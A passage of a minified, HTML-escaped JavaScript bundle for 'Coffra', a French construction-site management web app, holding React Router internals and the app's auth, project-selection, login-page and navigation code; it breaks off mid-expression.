lv(r.flat(1).filter(Px).filter(d=&gt;d.rel===&quot;stylesheet&quot;||d.rel===&quot;preload&quot;).map(d=&gt;d.rel===&quot;stylesheet&quot;?{...d,rel:&quot;prefetch&quot;,as:&quot;style&quot;}:{...d,rel:&quot;prefetch&quot;}))}function Dm(u,c,f,r,d,p){let g=(y,x)=&gt;f[x]?y.route.id!==f[x].route.id:!0,v=(y,x)=&gt;{var S;return f[x].pathname!==y.pathname||((S=f[x].route.path)==null?void 0:S.endsWith(&quot;*&quot;))&amp;&amp;f[x].params[&quot;*&quot;]!==y.params[&quot;*&quot;]};return p===&quot;assets&quot;?c.filter((y,x)=&gt;g(y,x)||v(y,x)):p===&quot;data&quot;?c.filter((y,x)=&gt;{var b;let S=r.routes[y.route.id];if(!S||!S.hasLoader)return!1;if(g(y,x)||v(y,x))return!0;if(y.route.shouldRevalidate){let T=y.route.shouldRevalidate({currentUrl:new URL(d.pathname+d.search+d.hash,window.origin),currentParams:((b=f[0])==null?void 0:b.params)||{},nextUrl:new URL(u,window.origin),nextParams:y.params,defaultShouldRevalidate:!0});if(typeof T==&quot;boolean&quot;)return T}return!0}):[]}function ev(u,c,{includeHydrateFallback:f}={}){return tv(u.map(r=&gt;{let d=c.routes[r.route.id];if(!d)return[];let p=[d.module];return d.clientActionModule&amp;&amp;(p=p.concat(d.clientActionModule)),d.clientLoaderModule&amp;&amp;(p=p.concat(d.clientLoaderModule)),f&amp;&amp;d.hydrateFallbackModule&amp;&amp;(p=p.concat(d.hydrateFallbackModule)),d.imports&amp;&amp;(p=p.concat(d.imports)),p}).flat(1))}function tv(u){return[...new Set(u)]}function av(u){let c={},f=Object.keys(u).sort();for(let r of f)c[r]=u[r];return c}function lv(u,c){let f=new Set;return new Set(c),u.reduce((r,d)=&gt;{let p=JSON.stringify(av(d));return f.has(p)||(f.add(p),r.push({key:p,link:d})),r},[])}function or(){let u=m.useContext(tn);return rr(u,&quot;You must render this element inside a &lt;DataRouterContext.Provider&gt; element&quot;),u}function nv(){let u=m.useContext(_i);return rr(u,&quot;You must render this element inside a &lt;DataRouterStateContext.Provider&gt; element&quot;),u}var fr=m.createContext(void 0);fr.displayName=&quot;FrameworkContext&quot;;function dr(){let u=m.useContext(fr);return rr(u,&quot;You must render this element inside a &lt;HydratedRouter&gt; element&quot;),u}function sv(u,c){let f=m.useContext(fr),[r,d]=m.useState(!1),[p,g]=m.useState(!1),{onFocus:v,onBlur:y,onMouseEnter:x,onMouseLeave:S,onTouchStart:b}=c,T=m.useRef(null);m.useEffect(()=&gt;{if(u===&quot;render&quot;&amp;&amp;g(!0),u===&quot;viewport&quot;){let U=k=&gt;{k.forEach($=&gt;{g($.isIntersecting)})},w=new IntersectionObserver(U,{threshold:.5});return T.current&amp;&amp;w.observe(T.current),()=&gt;{w.disconnect()}}},[u]),m.useEffect(()=&gt;{if(r){let U=setTimeout(()=&gt;{g(!0)},100);return()=&gt;{clearTimeout(U)}}},[r]);let Y=()=&gt;{d(!0)},R=()=&gt;{d(!1),g(!1)};return f?u!==&quot;intent&quot;?[p,T,{}]:[p,T,{onFocus:Pn(v,Y),onBlur:Pn(y,R),onMouseEnter:Pn(x,Y),onMouseLeave:Pn(S,R),onTouchStart:Pn(b,Y)}]:[!1,T,{}]}function Pn(u,c){return f=&gt;{u&amp;&amp;u(f),f.defaultPrevented||c(f)}}function iv({page:u,...c}){let f=xx(),{router:r}=or(),d=m.useMemo(()=&gt;Gm(r.routes,u,r.basename),[r.routes,u,r.basename]);return d?f?m.createElement(cv,{page:u,matches:d,...c}):m.createElement(rv,{page:u,matches:d,...c}):null}function uv(u){let{manifest:c,routeModules:f}=dr(),[r,d]=m.useState([]);return m.useEffect(()=&gt;{let p=!1;return Ix(u,c,f).then(g=&gt;{p||d(g)}),()=&gt;{p=!0}},[u,c,f]),r}function cv({page:u,matches:c,...f}){let r=ta(),{future:d}=dr(),{basename:p}=or(),g=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let v=eh(u,p,d.unstable_trailingSlashAwareDataRequests,&quot;rsc&quot;),y=!1,x=[];for(let S of c)typeof S.route.shouldRevalidate==&quot;function&quot;?y=!0:x.push(S.route.id);return y&amp;&amp;x.length&gt;0&amp;&amp;v.searchParams.set(&quot;_routes&quot;,x.join(&quot;,&quot;)),[v.pathname+v.search]},[p,d.unstable_trailingSlashAwareDataRequests,u,r,c]);return m.createElement(m.Fragment,null,g.map(v=&gt;m.createElement(&quot;link&quot;,{key:v,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:v,...f})))}function rv({page:u,matches:c,...f}){let r=ta(),{future:d,manifest:p,routeModules:g}=dr(),{basename:v}=or(),{loaderData:y,matches:x}=nv(),S=m.useMemo(()=&gt;Dm(u,c,x,p,r,&quot;data&quot;),[u,c,x,p,r]),b=m.useMemo(()=&gt;Dm(u,c,x,p,r,&quot;assets&quot;),[u,c,x,p,r]),T=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let U=new Set,w=!1;if(c.forEach($=&gt;{var I;let F=p.routes[$.route.id];!F||!F.hasLoader||(!S.some(te=&gt;te.route.id===$.route.id)&amp;&amp;$.route.id in y&amp;&amp;((I=g[$.route.id])!=null&amp;&amp;I.shouldRevalidate)||F.hasClientLoader?w=!0:U.add($.route.id))}),U.size===0)return[];let k=eh(u,v,d.unstable_trailingSlashAwareDataRequests,&quot;data&quot;);return w&amp;&amp;U.size&gt;0&amp;&amp;k.searchParams.set(&quot;_routes&quot;,c.filter($=&gt;U.has($.route.id)).map($=&gt;$.route.id).join(&quot;,&quot;)),[k.pathname+k.search]},[v,d.unstable_trailingSlashAwareDataRequests,y,r,p,S,c,u,g]),Y=m.useMemo(()=&gt;ev(b,p),[b,p]),R=uv(b);return m.createElement(m.Fragment,null,T.map(U=&gt;m.createElement(&quot;link&quot;,{key:U,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:U,...f})),Y.map(U=&gt;m.createElement(&quot;link&quot;,{key:U,rel:&quot;modulepreload&quot;,href:U,...f})),R.map(({key:U,link:w})=&gt;m.createElement(&quot;link&quot;,{key:U,nonce:f.nonce,...w,crossOrigin:w.crossOrigin??f.crossOrigin})))}function ov(...u){return c=&gt;{u.forEach(f=&gt;{typeof f==&quot;function&quot;?f(c):f!=null&amp;&amp;(f.current=c)})}}var fv=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;try{fv&amp;&amp;(window.__reactRouterVersion=&quot;7.14.0&quot;)}catch{}function dv({basename:u,children:c,unstable_useTransitions:f,window:r}){let d=m.useRef();d.current==null&amp;&amp;(d.current=Qp({window:r,v5Compat:!0}));let p=d.current,[g,v]=m.useState({action:p.action,location:p.location}),y=m.useCallback(x=&gt;{f===!1?v(x):m.startTransition(()=&gt;v(x))},[f]);return m.useLayoutEffect(()=&gt;p.listen(y),[p,y]),m.createElement(Yx,{basename:u,children:c,location:g.location,navigationType:g.action,navigator:p,unstable_useTransitions:f})}var th=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,je=m.forwardRef(function({onClick:c,discover:f=&quot;render&quot;,prefetch:r=&quot;none&quot;,relative:d,reloadDocument:p,replace:g,unstable_mask:v,state:y,target:x,to:S,preventScrollReset:b,viewTransition:T,unstable_defaultShouldRevalidate:Y,...R},U){let{basename:w,navigator:k,unstable_useTransitions:$}=m.useContext(wt),F=typeof S==&quot;string&quot;&amp;&amp;th.test(S),I=Xm(S,w);S=I.to;let te=Nx(S,{relative:d}),K=ta(),H=null;if(v){let de=Ei(v,[],K.unstable_mask?K.unstable_mask.pathname:&quot;/&quot;,!0);w!==&quot;/&quot;&amp;&amp;(de.pathname=de.pathname===&quot;/&quot;?w:ea([w,de.pathname])),H=k.createHref(de)}let[Z,q,W]=sv(r,R),J=pv(S,{replace:g,unstable_mask:v,state:y,target:x,preventScrollReset:b,relative:d,viewTransition:T,unstable_defaultShouldRevalidate:Y,unstable_useTransitions:$});function L(de){c&amp;&amp;c(de),de.defaultPrevented||J(de)}let P=!(I.isExternal||p),ee=m.createElement(&quot;a&quot;,{...R,...W,href:(P?H:void 0)||I.absoluteURL||te,onClick:P?L:c,ref:ov(U,q),target:x,&quot;data-discover&quot;:!F&amp;&amp;f===&quot;render&quot;?&quot;true&quot;:void 0});return Z&amp;&amp;!F?m.createElement(m.Fragment,null,ee,m.createElement(iv,{page:te})):ee});je.displayName=&quot;Link&quot;;var ba=m.forwardRef(function({&quot;aria-current&quot;:c=&quot;page&quot;,caseSensitive:f=!1,className:r=&quot;&quot;,end:d=!1,style:p,to:g,viewTransition:v,children:y,...x},S){let b=ts(g,{relative:x.relative}),T=ta(),Y=m.useContext(_i),{navigator:R,basename:U}=m.useContext(wt),w=Y!=null&amp;&amp;bv(b)&amp;&amp;v===!0,k=R.encodeLocation?R.encodeLocation(b).pathname:b.pathname,$=T.pathname,F=Y&amp;&amp;Y.navigation&amp;&amp;Y.navigation.location?Y.navigation.location.pathname:null;f||($=$.toLowerCase(),F=F?F.toLowerCase():null,k=k.toLowerCase()),F&amp;&amp;U&amp;&amp;(F=ja(F,U)||F);const I=k!==&quot;/&quot;&amp;&amp;k.endsWith(&quot;/&quot;)?k.length-1:k.length;let te=$===k||!d&amp;&amp;$.startsWith(k)&amp;&amp;$.charAt(I)===&quot;/&quot;,K=F!=null&amp;&amp;(F===k||!d&amp;&amp;F.startsWith(k)&amp;&amp;F.charAt(k.length)===&quot;/&quot;),H={isActive:te,isPending:K,isTransitioning:w},Z=te?c:void 0,q;typeof r==&quot;function&quot;?q=r(H):q=[r,te?&quot;active&quot;:null,K?&quot;pending&quot;:null,w?&quot;transitioning&quot;:null].filter(Boolean).join(&quot; &quot;);let W=typeof p==&quot;function&quot;?p(H):p;return m.createElement(je,{...x,&quot;aria-current&quot;:Z,className:q,ref:S,style:W,to:g,viewTransition:v},typeof y==&quot;function&quot;?y(H):y)});ba.displayName=&quot;NavLink&quot;;var mv=m.forwardRef(({discover:u=&quot;render&quot;,fetcherKey:c,navigate:f,reloadDocument:r,replace:d,state:p,method:g=ji,action:v,onSubmit:y,relative:x,preventScrollReset:S,viewTransition:b,unstable_defaultShouldRevalidate:T,...Y},R)=&gt;{let{unstable_useTransitions:U}=m.useContext(wt),w=yv(),k=gv(v,{relative:x}),$=g.toLowerCase()===&quot;get&quot;?&quot;get&quot;:&quot;post&quot;,F=typeof v==&quot;string&quot;&amp;&amp;th.test(v),I=te=&gt;{if(y&amp;&amp;y(te),te.defaultPrevented)return;te.preventDefault();let K=te.nativeEvent.submitter,H=(K==null?void 0:K.getAttribute(&quot;formmethod&quot;))||g,Z=()=&gt;w(K||te.currentTarget,{fetcherKey:c,method:H,navigate:f,replace:d,state:p,relative:x,preventScrollReset:S,viewTransition:b,unstable_defaultShouldRevalidate:T});U&amp;&amp;f!==!1?m.startTransition(()=&gt;Z()):Z()};return m.createElement(&quot;form&quot;,{ref:R,method:$,action:k,onSubmit:r?y:I,...Y,&quot;data-discover&quot;:!F&amp;&amp;u===&quot;render&quot;?&quot;true&quot;:void 0})});mv.displayName=&quot;Form&quot;;function hv(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function ah(u){let c=m.useContext(tn);return Xe(c,hv(u)),c}function pv(u,{target:c,replace:f,unstable_mask:r,state:d,preventScrollReset:p,relative:g,viewTransition:v,unstable_defaultShouldRevalidate:y,unstable_useTransitions:x}={}){let S=$t(),b=ta(),T=ts(u,{relative:g});return m.useCallback(Y=&gt;{if(Jx(Y,c)){Y.preventDefault();let R=f!==void 0?f:In(b)===In(T),U=()=&gt;S(u,{replace:R,unstable_mask:r,state:d,preventScrollReset:p,relative:g,viewTransition:v,unstable_defaultShouldRevalidate:y});x?m.startTransition(()=&gt;U()):U()}},[b,S,T,f,r,d,c,u,p,g,v,y,x])}var xv=0,vv=()=&gt;`__${String(++xv)}__`;function yv(){let{router:u}=ah(&quot;useSubmit&quot;),{basename:c}=m.useContext(wt),f=Hx(),r=u.fetch,d=u.navigate;return m.useCallback(async(p,g={})=&gt;{let{action:v,method:y,encType:x,formData:S,body:b}=Fx(p,c);if(g.navigate===!1){let T=g.fetcherKey||vv();await r(T,f,g.action||v,{unstable_defaultShouldRevalidate:g.unstable_defaultShouldRevalidate,preventScrollReset:g.preventScrollReset,formData:S,body:b,formMethod:g.method||y,formEncType:g.encType||x,flushSync:g.flushSync})}else await d(g.action||v,{unstable_defaultShouldRevalidate:g.unstable_defaultShouldRevalidate,preventScrollReset:g.preventScrollReset,formData:S,body:b,formMethod:g.method||y,formEncType:g.encType||x,replace:g.replace,state:g.state,fromRouteId:f,flushSync:g.flushSync,viewTransition:g.viewTransition})},[r,d,c,f])}function gv(u,{relative:c}={}){let{basename:f}=m.useContext(wt),r=m.useContext(Xt);Xe(r,&quot;useFormAction must be used inside a RouteContext&quot;);let[d]=r.matches.slice(-1),p={...ts(u||&quot;.&quot;,{relative:c})},g=ta();if(u==null){p.search=g.search;let v=new URLSearchParams(p.search),y=v.getAll(&quot;index&quot;);if(y.some(S=&gt;S===&quot;&quot;)){v.delete(&quot;index&quot;),y.filter(b=&gt;b).forEach(b=&gt;v.append(&quot;index&quot;,b));let S=v.toString();p.search=S?`?${S}`:&quot;&quot;}}return(!u||u===&quot;.&quot;)&amp;&amp;d.route.index&amp;&amp;(p.search=p.search?p.search.replace(/^\?/,&quot;?index&amp;&quot;):&quot;?index&quot;),f!==&quot;/&quot;&amp;&amp;(p.pathname=p.pathname===&quot;/&quot;?f:ea([f,p.pathname])),In(p)}function bv(u,{relative:c}={}){let f=m.useContext(Jm);Xe(f!=null,&quot;`useViewTransitionState` must be used within `react-router-dom`&#039;s `RouterProvider`.  Did you accidentally import `RouterProvider` from `react-router`?&quot;);let{basename:r}=ah(&quot;useViewTransitionState&quot;),d=ts(u,{relative:c});if(!f.isTransitioning)return!1;let p=ja(f.currentLocation.pathname,r)||f.currentLocation.pathname,g=ja(f.nextLocation.pathname,r)||f.nextLocation.pathname;return Ni(d.pathname,g)!=null||Ni(d.pathname,p)!=null}const jv=&quot;apicoffra.jrbxsolutions.com&quot;;class ge extends Error{constructor(f,r,d){super(f);Vc(this,&quot;status&quot;);Vc(this,&quot;body&quot;);this.name=&quot;ApiError&quot;,this.status=r,this.body=d}}async function ne(u,c={}){const{token:f,headers:r,...d}=c,p=`${jv}${u.startsWith(&quot;/&quot;)?u:`/${u}`}`,g=await fetch(p,{...d,headers:{Accept:&quot;application/json&quot;,&quot;Content-Type&quot;:&quot;application/json&quot;,...f?{Authorization:`Bearer ${f}`}:{},...r}}),v=await g.text();let y=null;if(v)try{y=JSON.parse(v)}catch{y={raw:v}}if(!g.ok){let x=g.statusText;if(typeof y==&quot;object&quot;&amp;&amp;y!==null){if(&quot;errors&quot;in y&amp;&amp;typeof y.errors==&quot;object&quot;){const S=y.errors;for(const b of Object.values(S)){if(Array.isArray(b)&amp;&amp;b[0]){x=b[0];break}if(typeof b==&quot;string&quot;&amp;&amp;b){x=b;break}}}if(&quot;message&quot;in y){const S=y.message,b=typeof S==&quot;string&quot;?S:JSON.stringify(S);x===g.statusText&amp;&amp;(x=b)}}throw new ge(x||&quot;Erreur réseau&quot;,g.status,y)}return y}function mr(u){if(typeof u!=&quot;object&quot;||u===null||!(&quot;errors&quot;in u))return null;const c=u.errors;if(typeof c!=&quot;object&quot;||c===null)return null;const f={};for(const[r,d]of Object.entries(c))Array.isArray(d)&amp;&amp;typeof d[0]==&quot;string&quot;?f[r]=d[0]:typeof d==&quot;string&quot;&amp;&amp;(f[r]=d);return Object.keys(f).length&gt;0?f:null}const bi=&quot;coffra_token&quot;,lh=m.createContext(null);function Sv({children:u}){const[c,f]=m.useState(()=&gt;localStorage.getItem(bi)),[r,d]=m.useState(null),[p,g]=m.useState(!!c),[v,y]=m.useState(null);m.useEffect(()=&gt;{if(!c){d(null),g(!1);return}let R=!1;return g(!0),(async()=&gt;{try{const U=await ne(&quot;/api/v1/auth/me&quot;,{method:&quot;GET&quot;,token:c});R||d(U.user)}catch{R||(localStorage.removeItem(bi),f(null),d(null),y(&quot;La session n’a pas pu être validée (réponse refusée ou API injoignable). En production, définissez VITE_API_BASE_URL sur l’URL absolue de l’API Laravel (ex. https://api.votredomaine.com), puis reconstruisez le front (npm run build).&quot;))}finally{R||g(!1)}})(),()=&gt;{R=!0}},[c]);const x=m.useCallback(()=&gt;{y(null)},[]),S=m.useCallback(async(R,U)=&gt;{y(null);const w=await ne(&quot;/api/v1/auth/login&quot;,{method:&quot;POST&quot;,body:JSON.stringify({email:R,password:U,device_name:&quot;coffra-web&quot;})});if(typeof w.token!=&quot;string&quot;||!w.token)throw new ge(&quot;Réponse de connexion invalide (jeton manquant). Souvent causé par VITE_API_BASE_URL vide en production : les requêtes partent vers le site du front au lieu de l’API Laravel.&quot;,0,w);localStorage.setItem(bi,w.token),f(w.token),d(w.user??null)},[]),b=m.useCallback(async()=&gt;{if(c)try{await ne(&quot;/api/v1/auth/logout&quot;,{method:&quot;POST&quot;,token:c})}catch{}localStorage.removeItem(bi),f(null),d(null),y(null)},[c]),T=m.useCallback(R=&gt;!!(r!=null&amp;&amp;r.abilities.includes(R)),[r]),Y=m.useMemo(()=&gt;({token:c,user:r,bootstrapping:p,sessionBootstrapError:v,clearSessionBootstrapError:x,login:S,logout:b,can:T}),[c,r,p,v,x,S,b,T]);return s.jsx(lh.Provider,{value:Y,children:u})}function we(){const u=m.useContext(lh);if(!u)throw new Error(&quot;useAuth doit être utilisé dans AuthProvider&quot;);return u}const Pl=&quot;coffra_active_project_id&quot;,nh=m.createContext(null);function Nv({children:u}){const{token:c,user:f,can:r}=we(),[d,p]=m.useState([]),[g,v]=m.useState(!1),[y,x]=m.useState(()=&gt;{const R=localStorage.getItem(Pl),U=R?Number(R):NaN;return Number.isFinite(U)?U:null}),S=m.useCallback(R=&gt;{x(R),R!==null?localStorage.setItem(Pl,String(R)):localStorage.removeItem(Pl)},[]),b=m.useCallback(async()=&gt;{if(!c||!f||!r(&quot;projects.view&quot;)){p([]);return}v(!0);try{const R=await ne(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:c});p(R.data),x(U=&gt;{var I;const w=new Set(R.data.map(te=&gt;te.id));if(U!==null&amp;&amp;w.has(U))return U;const k=localStorage.getItem(Pl),$=k?Number(k):NaN;if(Number.isFinite($)&amp;&amp;w.has($))return $;const F=((I=R.data[0])==null?void 0:I.id)??null;return F!==null?localStorage.setItem(Pl,String(F)):localStorage.removeItem(Pl),F})}catch{p([])}finally{v(!1)}},[c,f,r]);m.useEffect(()=&gt;{b()},[b]);const T=m.useMemo(()=&gt;d.find(R=&gt;R.id===y)??null,[d,y]),Y=m.useMemo(()=&gt;({projects:d,activeProjectId:y,activeProject:T,loading:g,setActiveProjectId:S,refreshProjects:b}),[d,y,T,g,S,b]);return s.jsx(nh.Provider,{value:Y,children:u})}function ft(){const u=m.useContext(nh);if(!u)throw new Error(&quot;useProjectScope doit être utilisé dans ProjectProvider&quot;);return u}function Ev(){const{token:u,login:c,sessionBootstrapError:f,clearSessionBootstrapError:r}=we(),[d,p]=m.useState(&quot;entrepreneur@coffra.local&quot;),[g,v]=m.useState(&quot;password&quot;),[y,x]=m.useState(null),[S,b]=m.useState(!1),T=y??f;if(u)return s.jsx(cr,{to:&quot;/&quot;,replace:!0});async function Y(R){R.preventDefault(),x(null),r(),b(!0);try{await c(d,g)}catch(U){U instanceof ge?x(U.message):x(&quot;Connexion impossible&quot;)}finally{b(!1)}}return s.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col justify-center px-4 pb-24 pt-8&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto w-full max-w-sm&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-center text-xs font-medium uppercase tracking-[0.2em] text-amber-500&quot;,children:&quot;Coffra&quot;}),s.jsx(&quot;h1&quot;,{className:&quot;mt-2 text-center text-2xl font-semibold text-stone-50&quot;,children:&quot;Connexion&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-center text-sm text-stone-500&quot;,children:[&quot;Comptes créés par seed uniquement — exécuter &quot;,s.jsx(&quot;code&quot;,{className:&quot;text-stone-400&quot;,children:&quot;php artisan db:seed&quot;})]}),s.jsxs(&quot;form&quot;,{onSubmit:Y,className:&quot;mt-8 space-y-4&quot;,children:[T?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 px-3 py-2 text-sm text-red-200&quot;,role:&quot;alert&quot;,children:T}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;email&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;E-mail&quot;}),s.jsx(&quot;input&quot;,{id:&quot;email&quot;,name:&quot;email&quot;,type:&quot;email&quot;,autoComplete:&quot;username&quot;,value:d,onChange:R=&gt;p(R.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;password&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;Mot de passe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;password&quot;,name:&quot;password&quot;,type:&quot;password&quot;,autoComplete:&quot;current-password&quot;,value:g,onChange:R=&gt;v(R.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:S,className:&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,children:S?&quot;Connexion…&quot;:&quot;Se connecter&quot;})]})]})})}const Il=({isActive:u})=&gt;[&quot;flex min-w-0 flex-1 flex-col items-center gap-0.5 py-2 text-[10px] font-medium sm:text-xs&quot;,u?&quot;text-amber-400&quot;:&quot;text-stone-500 hover:text-stone-300&quot;].join(&quot; &quot;);function _v(){const{can:u}=we(),{projects:c,activeProjectId:f,setActiveProjectId:r,loading:d}=ft();return s.jsxs(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col pb-[calc(4.5rem+env(safe-area-inset-bottom))]&quot;,children:[s.jsx(&quot;header&quot;,{className:&quot;sticky top-0 z-10 border-b border-stone-800 bg-stone-950/90 px-4 py-3 backdrop-blur-md&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg flex-col gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;text-[10px] font-semibold uppercase tracking-widest text-amber-500&quot;,children:&quot;Coffra&quot;}),s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold leading-tight text-stone-50&quot;,children:&quot;Opérations&quot;})]}),s.jsxs(&quot;div&quot;,{className:&quot;flex shrink-0 items-center gap-2&quot;,children:[u(&quot;organizations.view&quot;)?s.jsx(ba,{to:&quot;/organization&quot;,className:&quot;rounded-full border border-stone-700 px-2.5 py-1.5 text-[11px] font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Org.&quot;}):null,s.jsx(ba,{to:&quot;/profil&quot;,className:&quot;rounded-full border border-stone-700 px-3 py-1.5 text-xs font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Profil&quot;})]})]}),u(&quot;projects.view&quot;)&amp;&amp;c.length&gt;0?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;active-project&quot;,className:&quot;sr-only&quot;,children:&quot;Chantier actif&quot;}),s.jsx(&quot;select&quot;,{id:&quot;active-project&quot;,disabled:d,value:f??&quot;&quot;,onChange:p=&gt;{const g=p.target.value;r(g?Number(g):null)},className:&quot;w-full rounded-lg border border-stone-700 bg-stone-900 px-2 py-1.5 text-xs text-stone-200 outline-none focus:border-amber-600&quot;,children:c.map(p=&gt;s.jsxs(&quot;option&quot;,{value:p.id,children:[p.name,p.code?` (${p.code})`:&quot;&quot;]},p.id))})]}):u(&quot;projects.view&quot;)&amp;&amp;!d&amp;&amp;c.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-[11px] text-stone-600&quot;,children:&quot;Aucun chantier visible — sélectionnez-en un après création.&quot;}):null]})}),s.jsx(&quot;main&quot;,{className:&quot;mx-auto w-full max-w-lg flex-1 px-4 py-4&quot;,children:s.jsx(Gx,{})}),s.jsx(&quot;nav&quot;,{className:&quot;fixed bottom-0 left-0 right-0 z-20 border-t border-stone-800 bg-stone-950/95 pb-[env(safe-area-inset-bottom)] backdrop-blur-md&quot;,&quot;aria-label&quot;:&quot;Navigation principale&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg justify-around&quot;,children:[s.jsxs(ba,{to:&quot;/&quot;,end:!0,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⌂&quot;}),&quot;Accueil&quot;]}),u(&quot;projects.view&quot;)?s.jsxs(ba,{to:&quot;/projects&quot;,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧉&quot;}),&quot;Chantiers&quot;]}):null,u(&quot;workers.view&quot;)?s.jsxs(ba,{to:&quot;/workers&quot;,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;◎&quot;}),&quot;Ouvriers&quot;]}):null,u(&quot;attendances.view&quot;)?s.jsxs(ba,{to:&quot;/attendances&quot;,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;✓&quot;}),&quot;Présences&quot;]}):null,u(&quot;production_entries.view&quot;)?s.jsxs(ba,{to:&quot;/production-entries&quot;,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧗&quot;}),&quot;Prod.&quot;]}):null,u(&quot;users.view&quot;)?s.jsxs(ba,{to:&quot;/users&quot;,className:Il,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;👤&quot;}),&quot;Équipe&quot;]}):null]})})]})}const sh=[{value:&quot;entrepreneur_admin&quot;,label:&quot;Entrepreneur (admin)&quot;},{value:&quot;chef_chantier&quot;,label:&quot;Chef de chantier&quot;},{value:&quot;contremaitre_technicien&quot;,label:&quot;Contremaître / technicien&quot;},{value:&quot;financier_tresorier&quot;,label:&quot;Financier / trésorier&quot;}];function Ai(u){var c;return((c=sh.find(f=&gt;f.value===u))==null?void 0:c.label)??u}const re=&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-2.5 text-sm text-stone-100 outline-none transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,oe=&quot;block text-xs font-medium text-stone-400&quot;,Dt=&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,ml=&quot;rounded-xl border border-stone-700 px-4 py-2 text-sm font-medium text-stone-200 transition hover:bg-stone-900&quot;,jt=&quot;block rounded-2xl border border-stone-800 bg-stone-900/50 px-4 py-3 transition hover:border-stone-700&quot;,Tv=[{to:&quot;/organization&quot;,title:&quot;Organisation&quot;,hint:&quot;Informations de votre structure&quot;,ability:&quot;organizations.view&quot;},{to:&quot;/projects&quot;,title:&quot;Chantiers&quot;,hint:&quot;Projets et périmètre terrain&quot;,ability:&quot;projects.view&quot;},{to:&quot;/users&quot;,title:&quot;Utilisateurs&quot;,hint:&quot;Comptes staff (entrepreneur admin)&quot;,ability:&quot;users.view&quot;},{to:&quot;/workers&quot;,title:&quot;Ouvriers&quot;,hint:&quot;Personnes sans compte applicatif&quot;,ability:&quot;workers.view&quot;},{to:&quot;/attendances&quot;,title:&quot;Présences&quot;,hint:&quot;Pointages par chantier actif&quot;,ability:&quot;attendances.view&quot;},{to:&quot;/production-entries&quot;,title:&quot;Production&quot;,hint:&quot;Saisie au rendu (validation chantier)&quot;,ability:&quot;production_entries.view&quot;}];function Av(){const{user:u,can:c}=we(),{activeProject:f,activeProjectId:r}=ft(),d=Tv.filter(p=&gt;c(p.ability));return s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Bonjour,&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-xl font-semibold text-stone-50&quot;,children:u==null?void 0:u.full_name}),s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Rôle : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u?Ai(u.role):&quot;—&quot;}),u!=null&amp;&amp;u.organization?s.jsxs(s.Fragment,{children:[&quot; &quot;,&quot;· 